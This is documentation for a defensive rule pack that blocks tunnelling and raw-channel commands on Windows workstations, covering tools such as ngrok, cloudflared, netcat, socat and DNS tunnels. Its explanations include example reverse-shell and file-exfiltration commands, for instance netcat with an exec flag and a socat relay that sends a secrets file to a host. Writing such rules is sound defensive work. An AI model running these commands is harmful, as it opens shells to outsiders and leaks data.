Careful Company: Tunnels & Raw Channels
careful_company_running_windows.tunnel
Blocks channels that expose the workstation or bypass network inspection: ngrok, cloudflared, devtunnel/`code tunnel`, localtunnel, `tailscale funnel`, `ssh -R`/`-D` reverse and SOCKS forwards, chisel/frp/gost/zrok/bore, ncat/netcat/socat, PowerShell raw sockets, `netsh interface portproxy`, DNS tunnels (dnscat2/iodine), out-of-band callback domains, and DNS labels long enough to be carrying encoded data.
- 15blocking rules
- 4safe patterns
- 14High
- 1Medium
[packs]
enabled = ["careful_company_running_windows.tunnel"]Evaluated when a command contains ngrok, Ngrok, NGROK, cloudflared, CLOUDFLARED, tunnel, Tunnel, TUNNEL, devtunnel, localtunnel.
Blocking rules
Each rule ID is careful_company_running_windows.tunnel:<name>. Use it in allowlists and [policy.rules].
Highcloudflared-tunnelcloudflared publishes a local service through a Cloudflare tunnel.
Explanation
`cloudflared tunnel --url http://localhost:8080` creates a public `*.trycloudflare.com` URL with no account and no approval step — the lowest-friction way to expose an internal service that exists. (`cloudflared access`, which is a client for *reaching* an already-protected app, is not matched.) Safer alternatives: - Keep the service on localhost while developing - Request a reviewed ingress path if external access is genuinely needed
Highdevtunnel-or-code-tunneldevtunnel / `code tunnel` grants remote access to this machine through a broker.
Explanation
`code tunnel` is the highest-impact entry in this pack: it registers the workstation with a Microsoft-hosted broker and grants whoever holds the link a full VS Code session — shell, filesystem, and running processes. `devtunnel host --allow-anonymous` exposes a port to anyone at all. Safer alternatives: - Work in the local editor session - Use the company's approved remote-development path
Highdns-tunnel-tooldnscat2/iodine and similar tools tunnel data over DNS queries.
Explanation
These tools encode a data stream into DNS queries, which usually leave a network even when all other egress is blocked, because DNS resolution is rarely filtered. They have no legitimate use on a developer workstation. Safer alternatives: - Use an approved network path - If this is authorized security testing, allowlist the rule for the duration
Highlocaltunnel-exposelocaltunnel publishes a local port on a public *.loca.lt URL.
Explanation
`lt --port 3000` returns a public URL that forwards to the local port, with no account and no access control. Both the long form and the common `lt -p 3000` alias are covered without using noisy `lt` or `-p` keywords independently. Safer alternatives: - Test against localhost - Use an approved ingress if external access is required
Highnetcat-exec-backdoornetcat with an exec option hands a network connection to a local program.
Explanation
`ncat -e cmd.exe host 4444` and `nc --sh-exec /bin/sh host 4444` turn the socket into remote command execution. Combining the flag with `-z` does not make it a harmless probe; it only makes the command contradictory, so the executable handoff remains the decisive signal. Safer alternatives: - `Test-NetConnection host -Port 4444` to check reachability - Remove the exec option and use a reviewed protocol client
Highnetcat-raw-socketnetcat sends arbitrary bytes to an arbitrary host and port.
Explanation
`type C:\secrets.txt | nc.exe host 9999` is the shortest exfiltration in existence: no protocol, no headers, nothing for a proxy to inspect. The same command with `-l` accepts an inbound connection instead. Safer alternatives: - `Test-NetConnection host -Port 9999` to check reachability without sending data - Use an HTTP client against an internal endpoint
Highnetsh-port-proxynetsh interface portproxy forwards a local port to another host.
Explanation
`netsh interface portproxy add v4tov4 listenport=8080 connectaddress=<remote>` builds a pivot using only built-in Windows networking — no third-party binary, and the rule persists across reboots. Safer alternatives: - `netsh interface portproxy show all` to inspect existing rules - Use an approved network path instead of a local forwarder
Highngrok-tunnelngrok publishes a local port to the public internet.
Explanation
`ngrok http 3000` gives a local service a public HTTPS URL, reachable by anyone who has the link, through an outbound connection that inbound firewall rules cannot stop. `ngrok tcp 3389` does the same for remote desktop. Safer alternatives: - Test against the service on localhost - Use the company's approved remote-access path for anything that must be reachable
Highout-of-band-callback-domainOut-of-band callback domains record data encoded into a DNS lookup or HTTP request.
Explanation
These domains exist to log every interaction that reaches them, including plain DNS resolution — so merely resolving `<data>.oast.fun` transmits the data, with no HTTP request and nothing for a web proxy to see. Safer alternatives: - Use an internal listener for callback testing - Allowlist the rule for the duration of authorized security testing
Highpowershell-raw-socketPowerShell raw sockets send arbitrary bytes outside any inspectable protocol.
Explanation
`$t = New-Object Net.Sockets.TcpClient($h,$p); $t.GetStream().Write($bytes,0,$n)` is the canonical PowerShell exfiltration and reverse-shell primitive — it needs no external binary and no HTTP client, so nothing else in this preset would see it. Safer alternatives: - Use `Invoke-RestMethod` against an internal endpoint - `Test-NetConnection` for connectivity checks
Highreverse-or-socks-forwardssh -R / -D creates a reverse tunnel or SOCKS proxy out of this machine.
Explanation
`ssh -R 8080:localhost:80 user@host` makes a local service reachable from the remote side, and `ssh -D 1080` turns the connection into a general-purpose SOCKS proxy for arbitrary outbound traffic. `-L` (a local forward, which only pulls a remote port to you) is deliberately not matched. Safer alternatives: - Use `-L` if the intent is to reach a remote service from here - Plain `ssh user@host "command"` for remote administration is unaffected
Highsocat-relaysocat relays data between a local file or process and a remote socket.
Explanation
`socat FILE:C:\secrets.txt TCP:host:9999` streams a file to a remote port, and `socat TCP-LISTEN:… EXEC:cmd.exe` turns the connection into a shell. Every socat invocation connects two endpoints; that is the whole purpose of the tool. Safer alternatives: - Use an approved transfer path for data that must move - Use a local listener for development
Hightailscale-funneltailscale funnel exposes a local service beyond the tailnet, to the public internet.
Explanation
`tailscale funnel 3000` publishes a local service on a public `*.ts.net` name. (`tailscale serve` keeps the service inside the tailnet, which is a different and much narrower exposure, so it is not matched.) Safer alternatives: - Keep the service bound to localhost - Use an approved ingress path
Hightunnel-client-binaryTunnel clients and the public hostnames they hand out expose local services outward.
Explanation
These are dedicated tunnelling clients. The hostnames matter as much as the binaries: `serveo.net`, `localhost.run`, `bore.pub`, and `*.pinggy.io` are brokers that need no client at all — `ssh -R 80:localhost:3000 serveo.net` is a complete tunnel in one command — while `*.ngrok.io`, `*.ngrok-free.app`, `*.loca.lt`, and `trycloudflare.com` are the public URLs a tunnel hands out, so touching one means a tunnel already exists. Safer alternatives: - Keep the service local - Use the company's approved remote-access path
Mediumdns-label-exfilA DNS query with an unusually long label is the shape of data encoded into a hostname.
Explanation
DNS exfiltration works by encoding data into the leftmost label of a query (`<base32-blob>.exfil.example.com`). A single label of 32 characters or more is not a hostname anyone types, so this warns; ordinary lookups of ordinary names never match. `nslookup` and `Resolve-DnsName` are the Windows resolvers and both are covered. `dig` is deliberately absent: reaching it needs a `dig` keyword, and that substring appears in `git config`, `npm config`, and `./configure`, so it would run this pack's regexes over a large share of ordinary commands for very little gain. Safer alternatives: - `Resolve-DnsName <hostname>` for a normal lookup - Check the query for encoded content before running it
Safe patterns
Checked first. A command that matches one is never blocked by this pack.
read-only-data-contextdcg-self-inspectionnetwork-diagnosticsnetcat-zero-io-probe